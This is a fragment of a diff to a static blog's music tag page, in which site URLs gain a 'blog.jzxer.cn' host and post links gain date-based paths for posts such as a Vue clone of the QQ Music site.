-    <meta name="msapplication-starturl" content="/tags/音乐/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/音乐/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/音乐/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/音乐/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: 音乐 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/音乐/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/音乐/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/Amani-间奏-1.html">Amani-间奏</a></p>
+        <p class="article-headline-p"><a href="/2017/03/28/Amani-间奏-1.html">Amani-间奏</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/Amani-间奏-1.html" target="_self">阅读全文</a>
+            <a href="/2017/03/28/Amani-间奏-1.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->